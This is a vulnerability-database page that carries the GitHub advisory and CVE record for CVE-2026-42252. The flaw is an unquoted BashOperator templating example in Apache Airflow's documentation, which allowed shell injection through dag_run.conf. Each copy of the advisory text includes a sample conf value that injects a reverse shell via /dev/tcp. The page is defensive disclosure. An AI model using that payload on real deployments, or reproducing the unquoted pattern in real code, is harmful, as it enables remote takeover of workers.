Vulnerability-Lookup

GHSA-C85C-G9WV-PPH2

Vulnerability from github – Published: 2026-06-01 09:31 – Updated: 2026-06-01 09:31

Details

Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.

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{
  "affected": [],
  "aliases": [
    "CVE-2026-42252"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-01T09:16:18Z",
    "severity": null
  },
  "details": "Apache Airflow\u0027s official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf[\u0027conf1\u0027] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 \u2014 the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.",
  "id": "GHSA-c85c-g9wv-pph2",
  "modified": "2026-06-01T09:31:14Z",
  "published": "2026-06-01T09:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42252"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/pull/64129"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

CVE-2026-42252 (GCVE-0-2026-42252)

Vulnerability from cvelistv5 – Published: 2026-06-01 07:51 – Updated: 2026-06-01 07:51

Title

Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern

Summary

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

Severity

No CVSS data available.

CWE

CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine

Assigner

apache

References

2 references

URL	Tags
https://github.com/apache/airflow/pull/64129	patch
https://lists.apache.org/thread/8f4sc0rfn154jprmn…	vendor-advisory

Impacted products

1 product

Vendor	Product	Version
Apache Software Foundation	Apache Airflow	Affected: 3.0.0 , < 3.2.2 (semver)

Credits

anonymous Kevin Yang (sjyangkevin)

Show details on NVD website

JSON

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{
  "containers": {
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pypi.python.org",
          "defaultStatus": "unaffected",
          "packageName": "apache-airflow",
          "product": "Apache Airflow",
          "vendor": "Apache Software Foundation",
          "versions": [
            {
              "lessThan": "3.2.2",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
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          "lang": "en",
          "type": "finder",
          "value": "anonymous"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Kevin Yang (sjyangkevin)"
        }
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            }
          ],
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          "url": "https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7"
        }
      ],
      "source": {
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      },
      "title": "Apache Airflow: BashOperator Jinja2 injection via dag_run.conf \u2014 low-privilege user pattern",
      "x_generator": {
        "engine": "airflow-s/generate_cve_json.py"
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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-C85C-G9WV-PPH2

CVE-2026-42252 (GCVE-0-2026-42252)

Tags

Sightings

Nomenclature